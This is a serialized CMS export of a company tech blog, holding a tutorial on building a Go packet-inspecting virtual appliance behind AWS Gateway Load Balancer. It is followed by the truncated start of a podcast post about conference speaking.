have",[],{"type":1151,"text":36845,"spans":36846},"In the longer term, I aspire to progress to a Staff Engineer role",[],"rich_text$84eff983-956a-4ea2-916f-daa996db59f5",{"id":36849,"uid":36850,"type":25949,"data":36851},"alz0vBEAACgAUWZo","packets-aws-gateway-load",{"title":36852,"excerpt":36853,"card_image":36854,"published_date":14807,"reading_time":643,"tag":25960,"dek":36853,"featured_image":36859,"about_form3":36864,"client_about_heading":5,"client_about_body":36865,"author_name":5,"author_title":5,"author_photo":36866,"author_bio":36867,"author_linkedin":36868,"slices":36869,"meta_title":36852,"meta_description":36853},"How to inspect & manipulate network packets in AWS with Gateway Load Balancer","In this post, Michał walks you through a sample setup of the AWS Gateway Load Balancer. We will provision the infrastructure using Terraform, write a simple virtual appliance application and show it all in action. He demonstrates how this service can be used to route network traffic through a virtual appliance where each network packet can be inspected, modified, or dropped.",{"dimensions":36855,"alt":36852,"copyright":5,"url":36856,"id":36857,"edit":36858},{"width":412,"height":412},"\u002F_prismic-media\u002Fa2f7f18c93315d9c-DVFYBElNQmclbx_c_packets-aws-gateway-load.png","DVFYBElNQmclbx_c",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":36860,"alt":5,"copyright":5,"url":36861,"id":36862,"edit":36863},{"width":501,"height":646},"\u002F_prismic-media\u002F75e1b71f9329457f-mbIThmnpBkB-faof_5f129ce2-c36d-4a59-8dd7-30de4ee.jpg","mbIThmnpBkB-faof",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[36870,36888,36917,36970,37000,37008,37017,37025,37033,37044,37052,37061,37069,37077,37085,37096,37131,37139,37150,37158,37166,37174,37182,37190,37201,37209,37217,37225,37239,37247,37255,37264,37272,37285,37293,37301,37309],{"variation":437,"version":438,"items":36871,"primary":36872,"id":36887,"slice_type":468,"slice_label":5},[],{"body":36873},[36874,36883],{"type":25,"text":36875,"spans":36876},"This AWS Gateway Load Balancer service is very well described in the Official getting started guide. All the code demonstrated in this post can be found in the aws-gateway-lb GitHub repository.",[36877,36880],{"start":3397,"end":19482,"type":489,"data":36878},{"link_type":491,"url":36879,"target":493},"https:\u002F\u002Fdocs.aws.amazon.com\u002Felasticloadbalancing\u002Flatest\u002Fgateway\u002Fgetting-started.html",{"start":764,"end":19452,"type":489,"data":36881},{"link_type":491,"url":36882},"https:\u002F\u002Fgithub.com\u002Fmszczygiel\u002Faws-gateway-lb",{"type":25,"text":36884,"spans":36885},"Note, that running the example will incur some costs. Remember, to destroy the infrastructure after playing around with it!",[36886],{"start":398,"end":1251,"type":593},"rich_text$63a60f7f-6c54-4604-9104-ad18933d381e",{"variation":437,"version":438,"items":36889,"primary":36890,"id":36916,"slice_type":468,"slice_label":5},[],{"body":36891},[36892,36895,36900,36903,36910,36913],{"type":746,"text":36893,"spans":36894},"Infrastructure",[],{"type":25,"text":36896,"spans":36897},"Sample infrastructure can be provisioned using Terraform by following the readme in the code repository.",[36898],{"start":3290,"end":3886,"type":489,"data":36899},{"link_type":491,"url":36882,"target":493},{"type":25,"text":36901,"spans":36902},"The key resources are:",[],{"type":1151,"text":36904,"spans":36905},"AWS EC2 instances a, b and c. These are ones where we will run nc and execute some simple message exchanges over UDP.\nundefinedundefined",[36906,36907,36908,36909],{"start":2769,"end":6262,"type":765},{"start":703,"end":7635,"type":765},{"start":3485,"end":9704,"type":765},{"start":629,"end":9237,"type":765},{"type":1151,"text":36911,"spans":36912},"AWS EC2 appliance instance where our virtual appliance application will run.",[],{"type":25,"text":36914,"spans":36915},"All instances allow public SSH access on port 22. With some simple adjustments it can be restricted to your own public IP, but it's out of scope of this post. See the repository readme to learn how to provide the public key.",[],"rich_text$70c7f249-6893-4815-9214-f26424057f3b",{"variation":437,"version":438,"items":36918,"primary":36919,"id":36969,"slice_type":468,"slice_label":5},[],{"body":36920},[36921,36924,36930,36933,36936,36939,36942,36945,36951,36954,36957,36960,36963,36966],{"type":746,"text":36922,"spans":36923},"Virtual appliance",[],{"type":25,"text":36925,"spans":36926},"A virtual appliance is an application that supports Geneve (Generic Network Virtualisation Encapsulation) protocol and exposes a health check endpoint. It's possible to get one from the AWS Marketplace, but for the purpose of this post, we will write our own. In short, the appliance has to:",[36927],{"start":1251,"end":9203,"type":489,"data":36928},{"link_type":491,"url":36929,"target":493},"https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8926",{"type":1151,"text":36931,"spans":36932},"receive a UDP packet,",[],{"type":1151,"text":36934,"spans":36935},"swap source and destination IP in the outermost IP layer,",[],{"type":1151,"text":36937,"spans":36938},"optionally modify the packet’s contents and update the checksum,",[],{"type":1151,"text":36940,"spans":36941},"send the packet back or drop the packet.",[],{"type":25,"text":36943,"spans":36944},"In this section, I will explain the steps necessary to create a virtual appliance. Full source code (along with instructions on how to run it) is accessible in the GitHub repository mentioned above.",[],{"type":25,"text":36946,"spans":36947},"The appliance will handle all Geneve packets, decode them using the gopacket library, and process them according to the following rules.",[36948],{"start":9232,"end":854,"type":489,"data":36949},{"link_type":491,"url":36950,"target":493},"https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fgopacket",{"type":25,"text":36952,"spans":36953},"UDP packets where the source or destination port is 3000 will be handled as follows",[],{"type":1151,"text":36955,"spans":36956},"if the payload contains the string \"drop me\" the packet will be dropped;",[],{"type":1151,"text":36958,"spans":36959},"string \"weakly typed\" in the payload will be replaced with string \"strongly typed\".",[],{"type":25,"text":36961,"spans":36962},"Additionally, every 5th ICMP packet will be dropped.",[],{"type":25,"text":36964,"spans":36965},"The reason we've chosen ICMP and UDP is that I wanted to show how to handle various protocols and to emphasise that we're not limited to TCP or UDP only. We've chosen UDP over TCP as it's easier to show dropping packets. By design, if we drop a single TCP packet, we won't be able to process any subsequent ones. Therefore dropping a subset of packets is much easier to show with UDP.",[],{"type":25,"text":36967,"spans":36968},"For brevity, we will support IPv4 only and skip error handling (although the application in the repository handles errors).",[],"rich_text$24b4c34a-b1fc-4c36-91d4-6e033a9dbaec",{"variation":437,"version":438,"items":36971,"primary":36972,"id":36999,"slice_type":468,"slice_label":5},[],{"body":36973},[36974,36977,36980,36983,36986,36989,36992,36995],{"type":746,"text":36975,"spans":36976},"Capturing packets",[],{"type":25,"text":36978,"spans":36979},"Packets that the virtual appliance has to handle will be encapsulated using Geneve and transferred over UDP. This means, that each received packet will begin with the following layers:",[],{"type":1151,"text":36981,"spans":36982},"outer IP header,",[],{"type":1151,"text":36984,"spans":36985},"outer UDP header,",[],{"type":1151,"text":36987,"spans":36988},"Geneve header.",[],{"type":25,"text":36990,"spans":36991},"After these 3 layers, the encapsulated packet's layers will follow.",[],{"type":25,"text":36993,"spans":36994},"The virtual appliance has to swap source and destination IP addresses in the outer IP header and update the checksum. To properly implement this, we need to capture raw UDP packets so we get access to all the layers mentioned above.",[],{"type":25,"text":36996,"spans":36997},"To create a socket from which we can read raw packets we would call unix.Socket as follows.",[36998],{"start":9232,"end":3084,"type":765},"rich_text$245d04e7-db1e-4c3f-8879-bc62a5e9fc4b",{"variation":437,"version":438,"items":37001,"primary":37002,"id":37007,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37003},[37004],{"type":27922,"text":37005,"spans":37006},"fd, err := unix.Socket(unix.AF_INET, unix.SOCK_RAW, unix.IPPROTO_UDP)",[],"code_block$ddbe6539-3066-470b-a6eb-80f7bd023348",{"variation":437,"version":438,"items":37009,"primary":37010,"id":37016,"slice_type":468,"slice_label":5},[],{"body":37011},[37012],{"type":25,"text":37013,"spans":37014},"We have to preserve other parts (except the checksum) of the outer layers. By default, when sending a packet the IP header would be generated for us. Since we will provide the outer IP header ourselves we have to set the IP_HDRINCL socket option.",[37015],{"start":2832,"end":13003,"type":765},"rich_text$8c0e484b-af8f-438d-8f79-147d5d347808",{"variation":437,"version":438,"items":37018,"primary":37019,"id":37024,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37020},[37021],{"type":27922,"text":37022,"spans":37023},"err = unix.SetsockoptInt(fd, unix.IPPROTO_IP, unix.IP_HDRINCL, 1)",[],"code_block$e2ac54e6-c460-44e8-94f9-3a07da067581",{"variation":437,"version":438,"items":37026,"primary":37027,"id":37032,"slice_type":468,"slice_label":5},[],{"body":37028},[37029],{"type":25,"text":37030,"spans":37031},"We also have to update the outer IP header's checksum. Fortunately, it's handled automatically.",[],"rich_text$d18766b0-6d75-4ff0-a643-332af4e33dea",{"variation":437,"version":438,"items":37034,"primary":37035,"id":37043,"slice_type":468,"slice_label":5},[],{"body":37036},[37037,37040],{"type":746,"text":37038,"spans":37039},"Decoding packets",[],{"type":25,"text":37041,"spans":37042},"After the socket is created, we can start receiving packets from it.",[],"rich_text$8b577441-3d30-43e3-901a-b840cd613b48",{"variation":437,"version":438,"items":37045,"primary":37046,"id":37051,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37047},[37048],{"type":27922,"text":37049,"spans":37050},"buffer := make([]byte, 8500)\nlength, raddr, err := unix.Recvfrom(fd, buffer, 0)",[],"code_block$fa768a54-6e40-45c4-a328-4e61eb19a2b0",{"variation":437,"version":438,"items":37053,"primary":37054,"id":37060,"slice_type":468,"slice_label":5},[],{"body":37055},[37056],{"type":25,"text":37057,"spans":37058},"We can then decode the packet using the gopacket library.",[37059],{"start":10399,"end":5490,"type":765},"rich_text$d3718ac8-dc20-463f-b7a3-84e17e391017",{"variation":437,"version":438,"items":37062,"primary":37063,"id":37068,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37064},[37065],{"type":27922,"text":37066,"spans":37067},"p := gopacket.NewPacket(buffer[:length], layers.LayerTypeIPv4, gopacket.Default)\npacketLayers := p.Layers()",[],"code_block$b6158fbf-d9fe-4079-b12b-a083446e0888",{"variation":437,"version":438,"items":37070,"primary":37071,"id":37076,"slice_type":468,"slice_label":5},[],{"body":37072},[37073],{"type":25,"text":37074,"spans":37075},"Finally, we get access to all of the packet's layers.",[],"rich_text$40eae855-9aa3-4398-a03a-520b92e3c50a",{"variation":437,"version":438,"items":37078,"primary":37079,"id":37084,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37080},[37081],{"type":27922,"text":37082,"spans":37083},"\u002F\u002F access the outer IP layer\npacketLayers[0].(*layers.IPv4)\n\n\u002F\u002F access the outer UDP layer\npacketLayers[1].(*layers.UDP)",[],"code_block$f2edce7d-0cba-4af3-b2bd-00a494133844",{"variation":437,"version":438,"items":37086,"primary":37087,"id":37095,"slice_type":468,"slice_label":5},[],{"body":37088},[37089,37092],{"type":746,"text":37090,"spans":37091},"Dropping packets",[],{"type":25,"text":37093,"spans":37094},"Dropping packets is super simple. We just don't send anything back and stop processing the packet.",[],"rich_text$2fc05496-cce9-464b-bc50-da3b506790ba",{"variation":437,"version":438,"items":37097,"primary":37098,"id":37130,"slice_type":468,"slice_label":5},[],{"body":37099},[37100,37103,37106,37109,37112,37115,37118,37121,37124,37127],{"type":746,"text":37101,"spans":37102},"Modifying packets",[],{"type":25,"text":37104,"spans":37105},"Modifying packets requires a little bit more work, as we have to access inner layers. And, after a packet is modified the checksum has to be recalculated.",[],{"type":25,"text":37107,"spans":37108},"We will attempt to modify UDP packets only. This means, that packets interesting to us will contain the following layers:",[],{"type":1151,"text":37110,"spans":37111},"outer IP,",[],{"type":1151,"text":37113,"spans":37114},"outer UDP,",[],{"type":1151,"text":37116,"spans":37117},"Geneve,",[],{"type":1151,"text":37119,"spans":37120},"inner IP,",[],{"type":1151,"text":37122,"spans":37123},"inner UDP,",[],{"type":1151,"text":37125,"spans":37126},"payload.",[],{"type":25,"text":37128,"spans":37129},"Since the checksums of both inner UDP and IPv4 layers depend on the payload, we can't just modify the payload. We have to also recalculate the checksums. UDP checksum depends on the IPv4 header, therefore we have to explicitly set the correct IP layer in the UDP layer to the one that will be used later for the checksum calculation.",[],"rich_text$f48d40e3-5309-4132-b921-8450a0bd8c54",{"variation":437,"version":438,"items":37132,"primary":37133,"id":37138,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37134},[37135],{"type":27922,"text":37136,"spans":37137},"type PayloadModifyFun func([]byte) []byte\n\nfunc (p *Packet) ModifyUDP(f PayloadModifyFun) {\n \u002F\u002F get the inner layers\n ip := p.packetLayers[3].(*layers.IPv4)\n udp := p.packetLayers[4].(*layers.UDP)\n payload := p.packetLayers[5].(*gopacket.Payload)\n p.modified = true\n  \n \u002F\u002F udp checksum depends on IPv4 layer. Therefore, we need to provide a layer that will be used for checksum calculation.\n udp.SetNetworkLayerForChecksum(ip)\n\n   \u002F\u002F update the payload\n   p.packetLayers[5] = gopacket.Payload(f(payload.Payload()))\n}",[],"code_block$ac72d795-e688-4455-bfaa-11598cce3e71",{"variation":437,"version":438,"items":37140,"primary":37141,"id":37149,"slice_type":468,"slice_label":5},[],{"body":37142},[37143,37146],{"type":746,"text":37144,"spans":37145},"Serialising packets and sending them back",[],{"type":25,"text":37147,"spans":37148},"Before we send the packet back, we have to swap the source and destination IP in the outer IP layer. This is quite simple.",[],"rich_text$4b786e5d-ba53-4857-8547-2f7fbf6ea014",{"variation":437,"version":438,"items":37151,"primary":37152,"id":37157,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37153},[37154],{"type":27922,"text":37155,"spans":37156},"func (p *Packet) SwapSrcDstIpv4() {\n ip, _ := p.packetLayers[0].(*layers.IPv4)\n dst := ip.DstIP\n ip.DstIP = ip.SrcIP\n ip.SrcIP = dst\n}",[],"code_block$49cff649-9c82-4ecd-89e3-0515344fccb6",{"variation":437,"version":438,"items":37159,"primary":37160,"id":37165,"slice_type":468,"slice_label":5},[],{"body":37161},[37162],{"type":25,"text":37163,"spans":37164},"After IP addresses have been swapped, we are ready to serialise all the layers (in reverse order). In cases where the payload has been modified, we have to additionally recompute checksums as mentioned above.",[],"rich_text$ac089772-511d-4e98-ba57-e4b21d052b17",{"variation":437,"version":438,"items":37167,"primary":37168,"id":37173,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37169},[37170],{"type":27922,"text":37171,"spans":37172},"func (p *Packet) Serialize() []byte {\n buf := gopacket.NewSerializeBuffer()\n for i := len(p.packetLayers) - 1; i >= 0; i-- {\n  if layer, ok := p.packetLayers[i].(gopacket.SerializableLayer); ok {\n   var opts gopacket.SerializeOptions\n\n   \u002F\u002F recompute checksum of inner IP and UDP layers in case the packet was modified\n   if p.modified && (i == p.insideUDPLayerIdx() || i == p.insideIPLayerIdx()) {\n    opts = gopacket.SerializeOptions{ComputeChecksums: true, FixLengths: true}\n   } else {\n    opts = gopacket.SerializeOptions{FixLengths: true}\n   }\n\n   layer.SerializeTo(buf, opts)\n   buf.PushLayer(layer.LayerType())\n  } else if layer, ok := p.packetLayers[i].(*layers.Geneve); ok {\n   bytes, _ := buf.PrependBytes(len(layer.Contents))\n   copy(bytes, layer.Contents)\n  } else {\n   return nil\n  }\n }\n  return buf.Bytes()\n}",[],"code_block$a3c0ac37-1f34-4430-a7cb-4b3232b3d6ef",{"variation":437,"version":438,"items":37175,"primary":37176,"id":37181,"slice_type":468,"slice_label":5},[],{"body":37177},[37178],{"type":25,"text":37179,"spans":37180},"Finally, we can send the packet back.",[],"rich_text$4318a974-a39f-4f9c-8576-0ce83e3dde18",{"variation":437,"version":438,"items":37183,"primary":37184,"id":37189,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":37185},[37186],{"type":27922,"text":37187,"spans":37188},"unix.Sendto(fd, response, 0, raddr)",[],"code_block$f098601a-ca6d-422b-bc34-23cfdbf34cab",{"variation":437,"version":438,"items":37191,"primary":37192,"id":37200,"slice_type":468,"slice_label":5},[],{"body":37193},[37194,37197],{"type":746,"text":37195,"spans":37196},"Demo",[],{"type":25,"text":37198,"spans":37199},"At the very beginning, we have to provision the infrastructure.",[],"rich_text$5ba72232-2fef-4e8d-aa4f-8913bca8898f",{"variation":437,"version":438,"items":37202,"primary":37203,"id":37208,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":37204},[37205],{"type":27922,"text":37206,"spans":37207},".\u002Fdeploy_infra.sh\n.\u002Fdeploy_censor.sh",[],"code_block$63753f9c-c0d6-425a-a2c7-326235aa1e14",{"variation":437,"version":438,"items":37210,"primary":37211,"id":37216,"slice_type":468,"slice_label":5},[],{"body":37212},[37213],{"type":25,"text":37214,"spans":37215},"After all the required resources have been created, in a new terminal, we need to install the required packages on the provisioned instances.",[],"rich_text$79607f03-7bea-471b-902a-6d7636f0bcc5",{"variation":437,"version":438,"items":37218,"primary":37219,"id":37224,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":37220},[37221],{"type":27922,"text":37222,"spans":37223},".\u002Finit_infra.sh",[],"code_block$09d084d5-800d-44a5-a8ea-fe4f6fc6aaf0",{"variation":437,"version":438,"items":37226,"primary":37227,"id":37238,"slice_type":468,"slice_label":5},[],{"body":37228},[37229],{"type":25,"text":37230,"spans":37231},"Next, in two separate terminals, we can connect to instances a and b. On instance a we start to listen on UDP port 3000 and on instance b we connect to instance a (note, that in your case private IP addresses will be different so please adjust the commands below).",[37232,37233,37234,37235,37236,37237],{"start":3407,"end":1029,"type":765},{"start":2397,"end":9232,"type":765},{"start":1406,"end":28611,"type":765},{"start":9222,"end":4178,"type":765},{"start":3295,"end":9205,"type":765},{"start":9289,"end":20555,"type":765},"rich_text$a2343294-7d63-4cae-a074-6b48b4dbc488",{"variation":437,"version":438,"items":37240,"primary":37241,"id":37246,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":37242},[37243],{"type":27922,"text":37244,"spans":37245},".\u002Fssh.sh a\n\n[ec2-user@ip-192-168-1-209 ~]$ nc -l -u 3000",[],"code_block$4951ad9b-0e78-4f89-9d96-b8de33718a81",{"variation":437,"version":438,"items":37248,"primary":37249,"id":37254,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":37250},[37251],{"type":27922,"text":37252,"spans":37253},".\u002Fssh.sh b\n\n[ec2-user@ip-192-168-2-106 ~]$ nc -u 192.168.1.209 3000\ntest\ndrop me\nweakly typed programming language",[],"code_block$4b9d695d-813c-4c5a-8440-e77bf3edf814",{"variation":437,"version":438,"items":37256,"primary":37257,"id":37263,"slice_type":468,"slice_label":5},[],{"body":37258},[37259],{"type":25,"text":37260,"spans":37261},"In instance a we would receive the following.",[37262],{"start":2707,"end":1951,"type":765},"rich_text$ff0b25bf-b7d4-4f5d-a96a-109c34711f3f",{"variation":437,"version":438,"items":37265,"primary":37266,"id":37271,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":37267},[37268],{"type":27922,"text":37269,"spans":37270},"test\nstrongly typed programming language",[],"code_block$c1a4a473-99c6-4ba1-bca9-053084d6e35a",{"variation":437,"version":438,"items":37273,"primary":37274,"id":37284,"slice_type":468,"slice_label":5},[],{"body":37275},[37276,37279],{"type":25,"text":37277,"spans":37278},"We expect messages containing \"drop me\" aren't delivered and \"weakly typed\" in the message is replaced with \"strongly typed\". The above example confirms that everything works as expected.",[],{"type":25,"text":37280,"spans":37281},"By pinging instance a from instance b we notice that as expected, every 5th ICMP packet is dropped.",[37282,37283],{"start":7460,"end":703,"type":765},{"start":3852,"end":846,"type":765},"rich_text$cfb4c70d-8bc2-419b-9e89-a835b2b6280f",{"variation":437,"version":438,"items":37286,"primary":37287,"id":37292,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":37288},[37289],{"type":27922,"text":37290,"spans":37291},"[ec2-user@ip-192-168-2-106 ~]$ ping 192.168.1.209\nPING 192.168.1.209 (192.168.1.209) 56(84) bytes of data.\n64 bytes from 192.168.1.209: icmp_seq=1 ttl=253 time=3.96 ms\n64 bytes from 192.168.1.209: icmp_seq=2 ttl=253 time=1.58 ms\n64 bytes from 192.168.1.209: icmp_seq=3 ttl=253 time=1.51 ms\n64 bytes from 192.168.1.209: icmp_seq=4 ttl=253 time=1.51 ms\n64 bytes from 192.168.1.209: icmp_seq=6 ttl=253 time=1.64 ms\n64 bytes from 192.168.1.209: icmp_seq=7 ttl=253 time=2.07 ms\n64 bytes from 192.168.1.209: icmp_seq=8 ttl=253 time=1.87 ms\n64 bytes from 192.168.1.209: icmp_seq=9 ttl=253 time=3.36 ms\n64 bytes from 192.168.1.209: icmp_seq=11 ttl=253 time=1.84 ms",[],"code_block$0969535f-333b-42f4-a50d-597d79fedec6",{"variation":437,"version":438,"items":37294,"primary":37295,"id":37300,"slice_type":468,"slice_label":5},[],{"body":37296},[37297],{"type":25,"text":37298,"spans":37299},"Eventually, when we're done we can destroy the infrastructure so we don't spend too much $.",[],"rich_text$ec00751a-ee0f-472b-8866-3dbcaf21faa9",{"variation":437,"version":438,"items":37302,"primary":37303,"id":37308,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":37304},[37305],{"type":27922,"text":37306,"spans":37307},".\u002Fdestroy_infra.sh",[],"code_block$fd771d9d-c116-4911-b2b7-68ef8de73b74",{"variation":437,"version":438,"items":37310,"primary":37311,"id":37362,"slice_type":468,"slice_label":5},[],{"body":37312},[37313,37315,37318,37321,37324,37327,37330,37333,37335,37340,37346,37352,37357],{"type":746,"text":28602,"spans":37314},[],{"type":25,"text":37316,"spans":37317},"We've covered quite a bit in this post:",[],{"type":1151,"text":37319,"spans":37320},"what AWS Gateway Load Balancer is,",[],{"type":1151,"text":37322,"spans":37323},"how to capture and process raw network packets,",[],{"type":1151,"text":37325,"spans":37326},"how to implement a virtual appliance,",[],{"type":1151,"text":37328,"spans":37329},"presented how it all works.",[],{"type":25,"text":37331,"spans":37332},"While this was a pretty simple example, it's a valuable starting point for more advanced applications of this AWS service.",[],{"type":988,"text":31980,"spans":37334},[],{"type":1151,"text":37336,"spans":37337},"GitHub repository with example code.",[37338],{"start":398,"end":6911,"type":489,"data":37339},{"link_type":491,"url":36882,"target":493},{"type":1151,"text":37341,"spans":37342},"AWS Gateway Load Balancer official documentation.",[37343],{"start":398,"end":5490,"type":489,"data":37344},{"link_type":491,"url":37345,"target":493},"https:\u002F\u002Faws.amazon.com\u002Felasticloadbalancing\u002Fgateway-load-balancer\u002F",{"type":1151,"text":37347,"spans":37348},"Integrate your custom logic or appliance with AWS Gateway Load Balancer from AWS blog.",[37349],{"start":398,"end":1658,"type":489,"data":37350},{"link_type":491,"url":37351,"target":493},"https:\u002F\u002Faws.amazon.com\u002Fblogs\u002Fnetworking-and-content-delivery\u002Fintegrate-your-custom-logic-or-appliance-with-aws-gateway-load-balancer\u002F",{"type":1151,"text":37353,"spans":37354},"Getting started guide.",[37355],{"start":398,"end":703,"type":489,"data":37356},{"link_type":491,"url":36879,"target":493},{"type":1151,"text":37358,"spans":37359},"Geneve: Generic Network Virtualisation Encapsulation RFC8926.",[37360],{"start":9312,"end":685,"type":489,"data":37361},{"link_type":491,"url":36929,"target":493},"rich_text$e58e245a-ce64-43bf-8097-1f66b2d55a3f",{"id":37364,"uid":37365,"type":25949,"data":37366},"alz0qREAAC0AUWZE","podcast-conf-speaking",{"title":37367,"excerpt":37368,"card_image":37369,"published_date":37373,"reading_time":4603,"tag":25960,"dek":37368,"featured_image":37374,"about_form3":37379,"client_about_heading":5,"client_about_body":37380,"author_name":18970,"author_title":18971,"author_photo":37381,"author_bio":37384,"author_linkedin":37387,"slices":37389,"meta_title":37367,"meta_description":37368},".tech Podcast - All about conference speaking","Patrycja, Artur and Marcin are engineers at Form3 and some of our most accomplished speakers. They join us to discuss their motivations for taking up the challenge of becoming conference speakers, tell us how to find events to speak at and share their best advice for preparing engaging talks. They offer advice for new and experienced speakers alike.",{"dimensions":37370,"alt":37367,"copyright":5,"url":37371,"id":25957,"edit":37372},{"width":412,"height":412},"\u002F_prismic-media\u002F0e62e4836feeab2a-Ae9UwzA77Du7qvKY_podcast-conf-speaking.png",{"x":398,"y":398,"zoom":399,"background":400},"2023-07-19",{"dimensions":37375,"alt":5,"copyright":5,"url":37376,"id":37377,"edit":37378},{"width":501,"height":646},"\u002F_prismic-media\u002F716262bfd465936b-4ra2-ZCPAPogA_yK_3a01534e-924e-484d-bab8-62524b5.jpg","4ra2-ZCPAPogA_yK",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":37382,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":37383},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[37385],{"type":25,"text":25971,"spans":37386},[],{"link_type":491,"key":37388,"url":25975,"target":493},"a3adcd17-0ccb-47ff-a81a-139e6123b5a0",[37390,37410,37440,37477,37524,37569],{"variation":437,"version":527,"items":37391,"primary":37392,"id":37409,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":37393,"body":37397,"cta_label":10704,"cta_link":37400,"aside_type":5,"aside_image":37403,"aside_video":37404,"aside_video_poster":37405,"aside_video_reduced_motion":37406,"aside_video_url":5,"aside_embed":37407,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":37408,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[37394],{"type":746,"text":37395,"spans":37396},"Ep 45 .tech - All about conference speaking",[],[37398],{"type":25,"text":10702,"spans":37399},[],{"link_type":491,"key":37401,"url":37402},"0fa8989b-b2ad-40db-bac5-164f80ece5e8","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-45-tech-all-about-conference-speaking-hmKwc0ak",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$33ef754a-9e15-4aed-b608-cb1635ab9cf3",{"variation":437,"version":438,"items":37411,"primary":37412,"id":37439,"slice_type":468,"slice_label":5},[],{"body":37413},[37414,37423,37431],{"type":25,"text":37415,"spans":37416},"Patrycja Wegrzynowicz is Lead SRE Engineer at Form3. She works on reliability and performance of UK payments. She has a wealth of experience, having been a professional software engineer for over 20 years. Her main area of expertise lies in Java, C++, security and performance tuning.",[37417,37420],{"start":398,"end":703,"type":489,"data":37418},{"link_type":491,"url":37419,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fpatrycjaw\u002F",{"start":9202,"end":1250,"type":489,"data":37421},{"link_type":491,"url":37422,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fform3-financial-cloud",{"type":25,"text":37424,"spans":37425},"Artur Kondas is Lead Engineer at Form3. He has a music background and is a self taught engineer, specialising in the Go programming language.",[37426,37429],{"start":398,"end":2707,"type":489,"data":37427},{"link_type":491,"url":37428,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Farturkondas\u002F",{"start":9077,"end":11705,"type":489,"data":37430},{"link_type":491,"url":37422,"target":493},{"type":25,"text":37432,"spans":37433},"Marcin Niemiec is Cloud Security Engineer at Form3. He is part of the defensive team, keep our team and our platform safe and to the highest security standards.",[37434,37437],{"start":398,"end":2987,"type":489,"data":37435},{"link_type":491,"url":37436,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmarcin-niemiec-304349104\u002F",{"start":9211,"end":2971,"type":489,"data":37438},{"link_type":491,"url":37422,"target":493},"rich_text$a55c4b3c-2153-4c72-896f-e045d528b8f9",{"variation":437,"version":438,"items":37441,"primary":37442,"id":37476,"slice_type":468,"slice_label":5},[],{"body":37443},[37444,37447,37450,37454,37458,37462,37466,37470,37473],{"type":746,"text":37445,"spans":37446},"Why do we attend and speak at conferences?",[],{"type":25,"text":37448,"spans":37449},"Our panel has a very extensive experience speaking at a variety of technical events. They share their main motivations to attending events and taking the stage:",[],{"type":1151,"text":37451,"spans":37452},"Share knowledge with the community: speaking at conferences gives you a platform to share your technical knowledge and expertise with the community, enabling others to learn from you.",[37453],{"start":398,"end":1131,"type":593},{"type":1151,"text":37455,"spans":37456},"Networking: attending events gives you the opportunity to create face-to-face, real-world connections with others. This is one of the main benefits of in-person technical events and it is definitely one of those immeasurable benefits of community.",[37457],{"start":398,"end":905,"type":593},{"type":1151,"text":37459,"spans":37460},"Developing your presentation skills: presentation skills are absolute essentials for successful engineers, so developing an on-stage persona and growing your presentation skills is something that will serve you in your day-to-day, professional career.",[37461],{"start":398,"end":628,"type":593},{"type":1151,"text":37463,"spans":37464},"Learning while preparing presentations: as a presenter, preparing a new talk allows you to deep-dive into projects and technologies, organising your thoughts. This is a great learning opportunity which allows you to build compelling material to share with the community. Teaching something to others is a great way to understand something in depth!",[37465],{"start":398,"end":11705,"type":593},{"type":1151,"text":37467,"spans":37468},"Boosting your confidence: delivering a talk, even if it is not perfect, is a great achievement. The feeling of accomplishment is a great confidence booster that can help you feel like an expert in your own field. If you are a mentor, recommending to your mentees to take the stage is a great opportunity for them to grow.",[37469],{"start":398,"end":9799,"type":593},{"type":25,"text":37471,"spans":37472},"While virtual events have a more global audience, it is harder to engage the audience as a presenter when you are not standing in front of them. It's harder to read how your talk is received if you are not in the physical room as your listeners. If possible, try to attend events in person wherever possible.",[],{"type":25,"text":37474,"spans":37475},"Online only events require special, separate preparation from in-person events, often requiring speakers to pre-record their talks. This can be a time-consuming process that you should not underestimate. Engaging with an online-only audience requires a completely different skillset than presenting on stage. However, as online events have the potential to reach a larger audience, it is definitely something that speakers should cultivate.",[],"rich_text$47a066e9-97d9-477c-9b41-42a5a5c0eb43",{"variation":437,"version":438,"items":37478,"primary":37479,"id":37523,"slice_type":468,"slice_label":5},[],{"body":37480},[37481,37484,37487,37492,37499,37512,37516],{"type":746,"text":37482,"spans":37483},"How do we find conferences to speak at?",[],{"type":25,"text":37485,"spans":37486},"Now that we have established the benefits of speaking at and attending conferences, our speakers share how to find events to pitch their ideas\u002Ftalk suggestions at:",[],{"type":1151,"text":37488,"spans":37489},"Local meetups: when beginning on your speaking journey, it's important to start small. Find your local meetup or community and begin speaking there. This will give you a safe space to get comfortable speaking, then you can scale up as you get more 